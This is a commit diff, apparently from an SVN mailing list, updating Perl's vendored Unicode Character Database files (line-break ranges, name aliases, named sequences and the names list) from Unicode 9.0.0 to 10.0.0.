 16F8F..16F92;CM   # Mn     [4] MIAO TONE RIGHT..MIAO TONE BELOW
 16F93..16F9F;AL   # Lm    [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
-16FE0;NS          # Lm         TANGUT ITERATION MARK
+16FE0..16FE1;NS   # Lm     [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 17000..187EC;ID   # Lo  [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2;ID   # Lo   [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
-1B000..1B001;ID   # Lo     [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+1B000..1B0FF;ID   # Lo   [256] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER RE-2
+1B100..1B11E;ID   # Lo    [31] HENTAIGANA LETTER RE-3..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB;ID   # Lo   [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 1BC00..1BC6A;AL   # Lo   [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
 1BC70..1BC7C;AL   # Lo    [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
 1BC80..1BC88;AL   # Lo     [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
@@ -3132,7 +3179,9 @@
 1F240..1F248;ID   # So     [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
 1F249..1F24F;ID   # Cn     [7] <reserved-1F249>..<reserved-1F24F>
 1F250..1F251;ID   # So     [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT
-1F252..1F2FF;ID   # Cn   [174] <reserved-1F252>..<reserved-1F2FF>
+1F252..1F25F;ID   # Cn    [14] <reserved-1F252>..<reserved-1F25F>
+1F260..1F265;ID   # So     [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI
+1F266..1F2FF;ID   # Cn   [154] <reserved-1F266>..<reserved-1F2FF>
 1F300..1F384;ID   # So   [133] CYCLONE..CHRISTMAS TREE
 1F385;EB          # So         FATHER CHRISTMAS
 1F386..1F39B;ID   # So    [22] FIREWORKS..CONTROL KNOBS
@@ -3141,11 +3190,13 @@
 1F3B5..1F3B6;AL   # So     [2] MUSICAL NOTE..MULTIPLE MUSICAL NOTES
 1F3B7..1F3BB;ID   # So     [5] SAXOPHONE..VIOLIN
 1F3BC;AL          # So         MUSICAL SCORE
-1F3BD..1F3C2;ID   # So     [6] RUNNING SHIRT WITH SASH..SNOWBOARDER
-1F3C3..1F3C4;EB   # So     [2] RUNNER..SURFER
-1F3C5..1F3C9;ID   # So     [5] SPORTS MEDAL..RUGBY FOOTBALL
-1F3CA..1F3CB;EB   # So     [2] SWIMMER..WEIGHT LIFTER
-1F3CC..1F3FA;ID   # So    [47] GOLFER..AMPHORA
+1F3BD..1F3C1;ID   # So     [5] RUNNING SHIRT WITH SASH..CHEQUERED FLAG
+1F3C2..1F3C4;EB   # So     [3] SNOWBOARDER..SURFER
+1F3C5..1F3C6;ID   # So     [2] SPORTS MEDAL..TROPHY
+1F3C7;EB          # So         HORSE RACING
+1F3C8..1F3C9;ID   # So     [2] AMERICAN FOOTBALL..RUGBY FOOTBALL
+1F3CA..1F3CC;EB   # So     [3] SWIMMER..GOLFER
+1F3CD..1F3FA;ID   # So    [46] RACING MOTORCYCLE..AMPHORA
 1F3FB..1F3FF;EM   # Sk     [5] EMOJI MODIFIER FITZPATRICK TYPE-1-2..EMOJI MODIFIER FITZPATRICK TYPE-6
 1F400..1F441;ID   # So    [66] RAT..EYE
 1F442..1F443;EB   # So     [2] EAR..NOSE
@@ -3181,8 +3232,8 @@
 1F517..1F524;AL   # So    [14] LINK SYMBOL..INPUT SYMBOL FOR LATIN LETTERS
 1F525..1F531;ID   # So    [13] FIRE..TRIDENT EMBLEM
 1F532..1F549;AL   # So    [24] BLACK SQUARE BUTTON..OM SYMBOL
-1F54A..1F574;ID   # So    [43] DOVE OF PEACE..MAN IN BUSINESS SUIT LEVITATING
-1F575;EB          # So         SLEUTH OR SPY
+1F54A..1F573;ID   # So    [42] DOVE OF PEACE..HOLE
+1F574..1F575;EB   # So     [2] MAN IN BUSINESS SUIT LEVITATING..SLEUTH OR SPY
 1F576..1F579;ID   # So     [4] DARK SUNGLASSES..JOYSTICK
 1F57A;EB          # So         MAN DANCING
 1F57B..1F58F;ID   # So    [21] LEFT HAND TELEPHONE RECEIVER..TURNED OK HAND SIGN
@@ -3208,12 +3259,14 @@
 1F6B4..1F6B6;EB   # So     [3] BICYCLIST..PEDESTRIAN
 1F6B7..1F6BF;ID   # So     [9] NO PEDESTRIANS..SHOWER
 1F6C0;EB          # So         BATH
-1F6C1..1F6D2;ID   # So    [18] BATHTUB..SHOPPING TROLLEY
-1F6D3..1F6DF;ID   # Cn    [13] <reserved-1F6D3>..<reserved-1F6DF>
+1F6C1..1F6CB;ID   # So    [11] BATHTUB..COUCH AND LAMP
+1F6CC;EB          # So         SLEEPING ACCOMMODATION
+1F6CD..1F6D4;ID   # So     [8] SHOPPING BAGS..PAGODA
+1F6D5..1F6DF;ID   # Cn    [11] <reserved-1F6D5>..<reserved-1F6DF>
 1F6E0..1F6EC;ID   # So    [13] HAMMER AND WRENCH..AIRPLANE ARRIVING
 1F6ED..1F6EF;ID   # Cn     [3] <reserved-1F6ED>..<reserved-1F6EF>
-1F6F0..1F6F6;ID   # So     [7] SATELLITE..CANOE
-1F6F7..1F6FF;ID   # Cn     [9] <reserved-1F6F7>..<reserved-1F6FF>
+1F6F0..1F6F8;ID   # So     [9] SATELLITE..FLYING SAUCER
+1F6F9..1F6FF;ID   # Cn     [7] <reserved-1F6F9>..<reserved-1F6FF>
 1F700..1F773;AL   # So   [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE
 1F774..1F77F;ID   # Cn    [12] <reserved-1F774>..<reserved-1F77F>
 1F780..1F7D4;AL   # So    [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR
@@ -3227,28 +3280,32 @@
 1F860..1F887;AL   # So    [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW
 1F888..1F88F;ID   # Cn     [8] <reserved-1F888>..<reserved-1F88F>
 1F890..1F8AD;AL   # So    [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS
-1F8AE..1F90F;ID   # Cn    [98] <reserved-1F8AE>..<reserved-1F90F>
+1F8AE..1F8FF;ID   # Cn    [82] <reserved-1F8AE>..<reserved-1F8FF>
+1F900..1F90B;AL   # So    [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT
+1F90C..1F90F;ID   # Cn     [4] <reserved-1F90C>..<reserved-1F90F>
 1F910..1F917;ID   # So     [8] ZIPPER-MOUTH FACE..HUGGING FACE
-1F918..1F91E;EB   # So     [7] SIGN OF THE HORNS..HAND WITH INDEX AND MIDDLE FINGERS CROSSED
-1F91F;ID          # Cn         <reserved-1F91F>
+1F918..1F91C;EB   # So     [5] SIGN OF THE HORNS..RIGHT-FACING FIST
+1F91D;ID          # So         HANDSHAKE
+1F91E..1F91F;EB   # So     [2] HAND WITH INDEX AND MIDDLE FINGERS CROSSED..I LOVE YOU HAND SIGN
 1F920..1F925;ID   # So     [6] FACE WITH COWBOY HAT..LYING FACE
 1F926;EB          # So         FACE PALM
-1F927;ID          # So         SNEEZING FACE
-1F928..1F92F;ID   # Cn     [8] <reserved-1F928>..<reserved-1F92F>
-1F930;EB          # So         PREGNANT WOMAN
-1F931..1F932;ID   # Cn     [2] <reserved-1F931>..<reserved-1F932>
-1F933..1F939;EB   # So     [7] SELFIE..JUGGLING
-1F93A..1F93B;ID   # So     [2] FENCER..MODERN PENTATHLON
-1F93C..1F93E;EB   # So     [3] WRESTLERS..HANDBALL
+1F927..1F92F;ID   # So     [9] SNEEZING FACE..SHOCKED FACE WITH EXPLODING HEAD
+1F930..1F939;EB   # So    [10] PREGNANT WOMAN..JUGGLING
+1F93A..1F93C;ID   # So     [3] FENCER..WRESTLERS
+1F93D..1F93E;EB   # So     [2] WATER POLO..HANDBALL
 1F93F;ID          # Cn         <reserved-1F93F>
-1F940..1F94B;ID   # So    [12] WILTED FLOWER..MARTIAL ARTS UNIFORM
-1F94C..1F94F;ID   # Cn     [4] <reserved-1F94C>..<reserved-1F94F>
-1F950..1F95E;ID   # So    [15] CROISSANT..PANCAKES
-1F95F..1F97F;ID   # Cn    [33] <reserved-1F95F>..<reserved-1F97F>
-1F980..1F991;ID   # So    [18] CRAB..SQUID
-1F992..1F9BF;ID   # Cn    [46] <reserved-1F992>..<reserved-1F9BF>
+1F940..1F94C;ID   # So    [13] WILTED FLOWER..CURLING STONE
+1F94D..1F94F;ID   # Cn     [3] <reserved-1F94D>..<reserved-1F94F>
+1F950..1F96B;ID   # So    [28] CROISSANT..CANNED FOOD
+1F96C..1F97F;ID   # Cn    [20] <reserved-1F96C>..<reserved-1F97F>
+1F980..1F997;ID   # So    [24] CRAB..CRICKET
+1F998..1F9BF;ID   # Cn    [40] <reserved-1F998>..<reserved-1F9BF>
 1F9C0;ID          # So         CHEESE WEDGE
-1F9C1..1FFFD;ID   # Cn  [1597] <reserved-1F9C1>..<reserved-1FFFD>
+1F9C1..1F9CF;ID   # Cn    [15] <reserved-1F9C1>..<reserved-1F9CF>
+1F9D0;ID          # So         FACE WITH MONOCLE
+1F9D1..1F9DD;EB   # So    [13] ADULT..ELF
+1F9DE..1F9E6;ID   # So     [9] GENIE..SOCKS
+1F9E7..1FFFD;ID   # Cn  [1559] <reserved-1F9E7>..<reserved-1FFFD>
 20000..2A6D6;ID   # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6
 2A6D7..2A6FF;ID   # Cn    [41] <reserved-2A6D7>..<reserved-2A6FF>
 2A700..2B734;ID   # Lo  [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
@@ -3256,7 +3313,9 @@
 2B740..2B81D;ID   # Lo   [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B81E..2B81F;ID   # Cn     [2] <reserved-2B81E>..<reserved-2B81F>
 2B820..2CEA1;ID   # Lo  [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
-2CEA2..2F7FF;ID   # Cn [10590] <reserved-2CEA2>..<reserved-2F7FF>
+2CEA2..2CEAF;ID   # Cn    [14] <reserved-2CEA2>..<reserved-2CEAF>
+2CEB0..2EBE0;ID   # Lo  [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
+2EBE1..2F7FF;ID   # Cn  [3103] <reserved-2EBE1>..<reserved-2F7FF>
 2F800..2FA1D;ID   # Lo   [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 2FA1E..2FFFD;ID   # Cn  [1504] <reserved-2FA1E>..<reserved-2FFFD>
 30000..3FFFD;ID   # Cn [65534] <reserved-30000>..<reserved-3FFFD>

Modified: vendor/perl/dist/lib/unicore/NameAliases.txt
===================================================================
--- vendor/perl/dist/lib/unicore/NameAliases.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/NameAliases.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# NameAliases-9.0.0.txt
-# Date: 2016-01-21, 22:00:00 GMT [KW, LI]
-# © 2016 Unicode®, Inc.
+# NameAliases-10.0.0.txt
+# Date: 2017-05-06, 18:10:00 GMT [KW, LI]
+# © 2017 Unicode®, Inc.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
 # Unicode Character Database
@@ -262,6 +262,10 @@
 0EA3;LAO LETTER RO;correction
 0EA5;LAO LETTER LO;correction
 0FD0;TIBETAN MARK BKA- SHOG GI MGO RGYAN;correction
+11EC;HANGUL JONGSEONG YESIEUNG-KIYEOK;correction
+11ED;HANGUL JONGSEONG YESIEUNG-SSANGKIYEOK;correction
+11EE;HANGUL JONGSEONG SSANGYESIEUNG;correction
+11EF;HANGUL JONGSEONG YESIEUNG-KHIEUKH;correction
 180B;FVS1;abbreviation
 180C;FVS2;abbreviation
 180D;FVS3;abbreviation
@@ -289,7 +293,6 @@
 2B7A;LEFTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE VERTICAL STROKE;correction
 2B7C;RIGHTWARDS TRIANGLE-HEADED ARROW WITH DOUBLE VERTICAL STROKE;correction
 A015;YI SYLLABLE ITERATION MARK;correction
-FE18;PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRACKET;correction
 FE00;VS1;abbreviation
 FE01;VS2;abbreviation
 FE02;VS3;abbreviation
@@ -306,11 +309,13 @@
 FE0D;VS14;abbreviation
 FE0E;VS15;abbreviation
 FE0F;VS16;abbreviation
+FE18;PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRACKET;correction
 FEFF;BYTE ORDER MARK;alternate
 FEFF;BOM;abbreviation
 FEFF;ZWNBSP;abbreviation
 122D4;CUNEIFORM SIGN NU11 TENU;correction
 122D5;CUNEIFORM SIGN NU11 OVER NU11 BUR OVER BUR;correction
+1B001;HENTAIGANA LETTER E-1;correction
 1D0C5;BYZANTINE MUSICAL SYMBOL FTHORA SKLIRON CHROMA VASIS;correction
 E0100;VS17;abbreviation
 E0101;VS18;abbreviation

Modified: vendor/perl/dist/lib/unicore/NamedSequences.txt
===================================================================
--- vendor/perl/dist/lib/unicore/NamedSequences.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/NamedSequences.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# NamedSequences-9.0.0.txt
-# Date: 2016-05-26, 00:00:00 GMT [KW, LI]
-# © 2016 Unicode®, Inc.
+# NamedSequences-10.0.0.txt
+# Date: 2017-04-13, 01:00:00 GMT [KW, LI]
+# © 2017 Unicode®, Inc.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
 # Unicode Character Database
@@ -37,6 +37,24 @@
 
 # ================================================
 
+# Named keycap sequences for telephone keypad (used for emoji)
+# Provisional, 2015-05-05
+# FE0F added to the sequences, 2016-05-11
+# Approved 2017-05-12
+
+KEYCAP NUMBER SIGN;0023 FE0F 20E3
+KEYCAP ASTERISK;002A FE0F 20E3
+KEYCAP DIGIT ZERO;0030 FE0F 20E3
+KEYCAP DIGIT ONE;0031 FE0F 20E3
+KEYCAP DIGIT TWO;0032 FE0F 20E3
+KEYCAP DIGIT THREE;0033 FE0F 20E3
+KEYCAP DIGIT FOUR;0034 FE0F 20E3
+KEYCAP DIGIT FIVE;0035 FE0F 20E3
+KEYCAP DIGIT SIX;0036 FE0F 20E3
+KEYCAP DIGIT SEVEN;0037 FE0F 20E3
+KEYCAP DIGIT EIGHT;0038 FE0F 20E3
+KEYCAP DIGIT NINE;0039 FE0F 20E3
+
 # Latin letter plus accent combinations.
 # These are part of the original set of approved named sequences
 # for Unicode 4.1. 2005.
@@ -523,7 +541,7 @@
 
 # Entries for JIS X 0213 compatibility mapping.
 # Provisional 2008-11-07, Approved 2010-05-14
-# 
+#
 # Two of these were part of the original set of approved named sequences
 # for Unicode 4.1. 2005.
 

Modified: vendor/perl/dist/lib/unicore/NamedSqProv.txt
===================================================================
--- vendor/perl/dist/lib/unicore/NamedSqProv.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/NamedSqProv.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
-# NamedSequencesProv-9.0.0.txt
-# Date: 2016-05-26, 00:00:00 GMT [KW, LI]
-# © 2016 Unicode®, Inc.
+# NamedSequencesProv-10.0.0.txt
+# Date: 2017-04-13, 01:00:00 GMT [KW, LI]
+# © 2017 Unicode®, Inc.
 # For terms of use, see http://www.unicode.org/terms_of_use.html
 #
 # Unicode Character Database
@@ -26,7 +26,7 @@
 # in this data file, would correspond to an ISO/IEC 10646 USI
 # as follows:
 #
-# <1000, 1001, 1002> 
+# <1000, 1001, 1002>
 #
 # For more information, see UAX #34: Unicode Named Character
 # Sequences, at http://www.unicode.org/unicode/reports/tr34/
@@ -40,23 +40,8 @@
 
 # Provisional entries for NamedSequences.txt.
 
-# Named keycap sequences for telephone keypad (used for emoji)
-# Added to provisional named sequences, 2015-05-05
-# FE0F added to the sequences, 2016-05-11
+# Currently there are no provisional entries.
 
-KEYCAP NUMBER SIGN;0023 FE0F 20E3
-KEYCAP ASTERISK;002A FE0F 20E3
-KEYCAP DIGIT ZERO;0030 FE0F 20E3
-KEYCAP DIGIT ONE;0031 FE0F 20E3
-KEYCAP DIGIT TWO;0032 FE0F 20E3
-KEYCAP DIGIT THREE;0033 FE0F 20E3
-KEYCAP DIGIT FOUR;0034 FE0F 20E3
-KEYCAP DIGIT FIVE;0035 FE0F 20E3
-KEYCAP DIGIT SIX;0036 FE0F 20E3
-KEYCAP DIGIT SEVEN;0037 FE0F 20E3
-KEYCAP DIGIT EIGHT;0038 FE0F 20E3
-KEYCAP DIGIT NINE;0039 FE0F 20E3
-
 # ================================================
 
 # Entries from Unicode 4.1.0 version of NamedSequences.txt,
@@ -67,7 +52,7 @@
 # GURMUKHI PARI YA;0A4D 0A2F
 
 # Entry removed 2006-05-18:
-# 
+#
 # LATIN SMALL LETTER A WITH ACUTE AND OGONEK;00E1 0328
 #
 # This entry was removed because the sequence was not in NFC,

Modified: vendor/perl/dist/lib/unicore/NamesList.txt
===================================================================
--- vendor/perl/dist/lib/unicore/NamesList.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/NamesList.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 ; charset=UTF-8
-@@@	The Unicode Standard 9.0.0
-@@@+	U90M160615.lst
-	Unicode 9.0.0 final names list.
+@@@	The Unicode Standard 10.0.0
+@@@+	U10M170525.lst
+	Unicode 10.0.0 final names list.
 	This file is semi-automatically derived from UnicodeData.txt and
 	a set of manually created annotations using a script to select
 	or suppress information from the data file. The rules used
@@ -8,7 +8,7 @@
 	for this process are aimed at readability for the human reader,
 	at the expense of some details; therefore, this file should not
 	be parsed for machine-readable information.
- at +		© 2016 Unicode®, Inc.
+ at +		© 2017 Unicode®, Inc.
 	For terms of use, see http://www.unicode.org/terms_of_use.html
 @@	0000	C0 Controls and Basic Latin (Basic Latin)	007F
 @@+
@@ -121,8 +121,6 @@
 	x (l b bar symbol - 2114)
 	x (viewdata square - 2317)
 	x (music sharp sign - 266F)
-	~ 0023 FE0E text style
-	~ 0023 FE0F emoji style
 0024	DOLLAR SIGN
 	= milréis, escudo
 	* used for many peso currencies in Latin America and elsewhere
@@ -166,8 +164,6 @@
 	x (asterisk operator - 2217)
 	x (sextile - 26B9)
 	x (heavy asterisk - 2731)
-	~ 002A FE0E text style
-	~ 002A FE0F emoji style
 002B	PLUS SIGN
 	x (heavy plus sign - 2795)
 002C	COMMA
@@ -201,35 +197,15 @@
 @		ASCII digits
 0030	DIGIT ZERO
 	~ 0030 FE00 short diagonal stroke form
-	~ 0030 FE0E text style
-	~ 0030 FE0F emoji style
 0031	DIGIT ONE
-	~ 0031 FE0E text style
-	~ 0031 FE0F emoji style
 0032	DIGIT TWO
-	~ 0032 FE0E text style
-	~ 0032 FE0F emoji style
 0033	DIGIT THREE
-	~ 0033 FE0E text style
-	~ 0033 FE0F emoji style
 0034	DIGIT FOUR
-	~ 0034 FE0E text style
-	~ 0034 FE0F emoji style
 0035	DIGIT FIVE
-	~ 0035 FE0E text style
-	~ 0035 FE0F emoji style
 0036	DIGIT SIX
-	~ 0036 FE0E text style
-	~ 0036 FE0F emoji style
 0037	DIGIT SEVEN
-	~ 0037 FE0E text style
-	~ 0037 FE0F emoji style
 0038	DIGIT EIGHT
-	~ 0038 FE0E text style
-	~ 0038 FE0F emoji style
 0039	DIGIT NINE
-	~ 0039 FE0E text style
-	~ 0039 FE0F emoji style
 @		ASCII punctuation and symbols
 003A	COLON
 	* also used to denote division or scale; for that mathematical use 2236 is preferred
@@ -506,7 +482,7 @@
 	x (turkish lira sign - 20BA)
 	x (roman semuncia sign - 10192)
 00A4	CURRENCY SIGN
-	* other currency symbol characters: 20A0-20BA
+	* other currency symbol characters: 20A0-20BF
 	x (dollar sign - 0024)
 00A5	YEN SIGN
 	= yuan sign
@@ -523,8 +499,6 @@
 00A9	COPYRIGHT SIGN
 	x (sound recording copyright - 2117)
 	x (circled latin capital letter c - 24B8)
-	~ 00A9 FE0E text style
-	~ 00A9 FE0F emoji style
 00AA	FEMININE ORDINAL INDICATOR
 	* Spanish
 	# <super> 0061
@@ -543,8 +517,6 @@
 00AE	REGISTERED SIGN
 	= registered trade mark sign (1.0)
 	x (circled latin capital letter r - 24C7)
-	~ 00AE FE0E text style
-	~ 00AE FE0F emoji style
 00AF	MACRON
 	= overline, APL overbar
 	* this is a spacing character
@@ -800,7 +772,6 @@
 	* French, medieval Hungarian orthography
 	* uppercase is 0178
 	: 0079 0308
-@~	!
 @@	0100	Latin Extended-A	017F
 @		European Latin
 0100	LATIN CAPITAL LETTER A WITH MACRON
@@ -1832,6 +1803,7 @@
 	* semi-high front unrounded vowel
 	* preferred IPA alternate for 0269
 	* uppercase is A7AE
+	* glyph should have top and bottom serifs even in sans serif IPA font designs, to avoid confusion with lowercase l
 026B	LATIN SMALL LETTER L WITH MIDDLE TILDE
 	* velarized voiced alveolar lateral approximant
 	* uppercase is 2C62
@@ -2292,6 +2264,7 @@
 02F1	MODIFIER LETTER LOW LEFT ARROWHEAD
 02F2	MODIFIER LETTER LOW RIGHT ARROWHEAD
 02F3	MODIFIER LETTER LOW RING
+	x (combining ring below - 0325)
 02F4	MODIFIER LETTER MIDDLE GRAVE ACCENT
 02F5	MODIFIER LETTER MIDDLE DOUBLE GRAVE ACCENT
 02F6	MODIFIER LETTER MIDDLE DOUBLE ACUTE ACCENT
@@ -2441,6 +2414,7 @@
 	* IPA: voiceless
 	* vocalic (in Latin transliteration of Indic sonorants)
 	* Madurese
+	x (modifier letter low ring - 02F3)
 0326	COMBINING COMMA BELOW
 	* Romanian, Latvian, Livonian
 0327	COMBINING CEDILLA
@@ -2498,8 +2472,13 @@
 @		Additions
 0339	COMBINING RIGHT HALF RING BELOW
 033A	COMBINING INVERTED BRIDGE BELOW
+	* IPA: apical
+	x (combining wide inverted bridge below - 1DF9)
 033B	COMBINING SQUARE BELOW
+	* IPA: laminal
+	* preferred glyph shape is a horizontal rectangle for IPA usage
 033C	COMBINING SEAGULL BELOW
+	* IPA: linguolabial
 033D	COMBINING X ABOVE
 033E	COMBINING VERTICAL TILDE
 	= yerik
@@ -2570,12 +2549,13 @@
 @		Miscellaneous additions
 0358	COMBINING DOT ABOVE RIGHT
 	* Latin transliterations of the Southern Min dialects of Chinese
+	x (combining dot above left - 1DF8)
 0359	COMBINING ASTERISK BELOW
 	x (low asterisk - 204E)
 035A	COMBINING DOUBLE RING BELOW
 	* Kharoshthi transliteration
 035B	COMBINING ZIGZAG ABOVE
-	* Latin abbreviation, Lithuanian phonetics and mediaevalist transcriptions
+	* Latin abbreviation, Lithuanian phonetics and medievalist transcriptions
 @		Double diacritics
 035C	COMBINING DOUBLE BREVE BELOW
 	= ligature tie below, papyrological hyphen
@@ -4484,10 +4464,13 @@
 07EF	NKO COMBINING LONG HIGH TONE
 07F0	NKO COMBINING LONG LOW TONE
 07F1	NKO COMBINING LONG RISING TONE
+@		Other diacritics
 07F2	NKO COMBINING NASALIZATION MARK
 	x (combining dot below - 0323)
 07F3	NKO COMBINING DOUBLE DOT ABOVE
 	x (combining diaeresis - 0308)
+@		Tonal apostrophes
+ at +		These apostrophes mark elision of a vowel while preserving the tonal information of the syllable.
 07F4	NKO HIGH TONE APOSTROPHE
 	x (modifier letter apostrophe - 02BC)
 07F5	NKO LOW TONE APOSTROPHE
@@ -4626,6 +4609,31 @@
 085B	MANDAIC GEMINATION MARK
 @		Punctuation
 085E	MANDAIC PUNCTUATION
+@@	0860	Syriac Supplement	086F
+@		Syriac letters
+ at +		Used for writing Suriyani Malayalam, which is also known as Garshuni (Karshoni) and Syriac Malayalam.
+0860	SYRIAC LETTER MALAYALAM NGA
+	x (malayalam letter nga - 0D19)
+0861	SYRIAC LETTER MALAYALAM JA
+	x (malayalam letter ja - 0D1C)
+0862	SYRIAC LETTER MALAYALAM NYA
+	x (malayalam letter nya - 0D1E)
+0863	SYRIAC LETTER MALAYALAM TTA
+	x (malayalam letter tta - 0D1F)
+0864	SYRIAC LETTER MALAYALAM NNA
+	x (malayalam letter nna - 0D23)
+0865	SYRIAC LETTER MALAYALAM NNNA
+	x (malayalam letter nnna - 0D29)
+0866	SYRIAC LETTER MALAYALAM BHA
+	x (malayalam letter bha - 0D2D)
+0867	SYRIAC LETTER MALAYALAM RA
+	x (malayalam letter ra - 0D30)
+0868	SYRIAC LETTER MALAYALAM LLA
+	x (malayalam letter lla - 0D33)
+0869	SYRIAC LETTER MALAYALAM LLLA
+	x (malayalam letter llla - 0D34)
+086A	SYRIAC LETTER MALAYALAM SSA
+	x (malayalam letter ssa - 0D37)
 @@	08A0	Arabic Extended-A	08FF
 @		Arabic letters for African languages
 08A0	ARABIC LETTER BEH WITH SMALL V BELOW
@@ -5107,6 +5115,9 @@
 	* written before the name of a deceased person
 @		Historic currency sign
 09FB	BENGALI GANDA MARK
+@		Signs
+09FC	BENGALI LETTER VEDIC ANUSVARA
+09FD	BENGALI ABBREVIATION SIGN
 @@	0A00	Gurmukhi	0A7F
 @		Various signs
 0A01	GURMUKHI SIGN ADAK BINDI
@@ -5227,6 +5238,7 @@
 0A74	GURMUKHI EK ONKAR
 	* God is One
 0A75	GURMUKHI SIGN YAKASH
+	* some fonts use an alternate glyph shaped more like the lower part of 0A2F
 @@	0A80	Gujarati	0AFF
 @		Various signs
 0A81	GUJARATI SIGN CANDRABINDU
@@ -5337,6 +5349,14 @@
 0AF9	GUJARATI LETTER ZHA
 	* used in transliteration of Avestan
 	x (devanagari letter zha - 0979)
+@		Transliteration signs
+ at +		Used for the transliteration of the Arabic script into Gujarati by Ismaili Khoja communities.
+0AFA	GUJARATI SIGN SUKUN
+0AFB	GUJARATI SIGN SHADDA
+0AFC	GUJARATI SIGN MADDAH
+0AFD	GUJARATI SIGN THREE-DOT NUKTA ABOVE
+0AFE	GUJARATI SIGN CIRCLE NUKTA ABOVE
+0AFF	GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 @@	0B00	Oriya	0B7F
 @+		As of 2012, the name "Oriya" for this script and language is officially spelled "Odia" in India. That change in spelling does not affect the Unicode block or character names, which are constrained by stability guarantees.
 @		Various signs
@@ -5836,6 +5856,7 @@
 	x (vedic sign upadhmaniya - 1CF6)
 @@	0D00	Malayalam	0D7F
 @		Various signs
+0D00	MALAYALAM SIGN COMBINING ANUSVARA ABOVE
 0D01	MALAYALAM SIGN CANDRABINDU
 0D02	MALAYALAM SIGN ANUSVARA
 	* used in Prakrit language texts to indicate gemination of the following consonant
@@ -5913,6 +5934,9 @@
 0D39	MALAYALAM LETTER HA
 0D3A	MALAYALAM LETTER TTTA
 	* historic use only
+@		Variant shape viramas
+0D3B	MALAYALAM SIGN VERTICAL BAR VIRAMA
+0D3C	MALAYALAM SIGN CIRCULAR VIRAMA
 @		Addition for Sanskrit
 0D3D	MALAYALAM SIGN AVAGRAHA
 	= praslesham
@@ -5954,7 +5978,7 @@
 0D54	MALAYALAM LETTER CHILLU M
 0D55	MALAYALAM LETTER CHILLU Y
 0D56	MALAYALAM LETTER CHILLU LLL
-@		Various signs
+@		Dependent vowel sign
 0D57	MALAYALAM AU LENGTH MARK
 	* used alone to write the /au/ dependent vowel in modern texts
 	x (malayalam vowel sign au - 0D4C)
@@ -7479,13 +7503,13 @@
 11EA	HANGUL JONGSEONG SIOS-PIEUP
 11EB	HANGUL JONGSEONG PANSIOS
 11EC	HANGUL JONGSEONG IEUNG-KIYEOK
-	= yesieung-kiyeok
+	% HANGUL JONGSEONG YESIEUNG-KIYEOK
 11ED	HANGUL JONGSEONG IEUNG-SSANGKIYEOK
-	= yesieung-ssangkiyeok
+	% HANGUL JONGSEONG YESIEUNG-SSANGKIYEOK
 11EE	HANGUL JONGSEONG SSANGIEUNG
-	= ssangyesieung
+	% HANGUL JONGSEONG SSANGYESIEUNG
 11EF	HANGUL JONGSEONG IEUNG-KHIEUKH
-	= yesieung-khieukh
+	% HANGUL JONGSEONG YESIEUNG-KHIEUKH
 11F0	HANGUL JONGSEONG YESIEUNG
 11F1	HANGUL JONGSEONG YESIEUNG-SIOS
 11F2	HANGUL JONGSEONG YESIEUNG-PANSIOS
@@ -9230,9 +9254,11 @@
 	* not a format control character, but simply a hyphen for Todo
 	x (soft hyphen - 00AD)
 1807	MONGOLIAN SIBE SYLLABLE BOUNDARY MARKER
+	~ 1807 ALT1 first form (medial)
 1808	MONGOLIAN MANCHU COMMA
 1809	MONGOLIAN MANCHU FULL STOP
 180A	MONGOLIAN NIRUGU
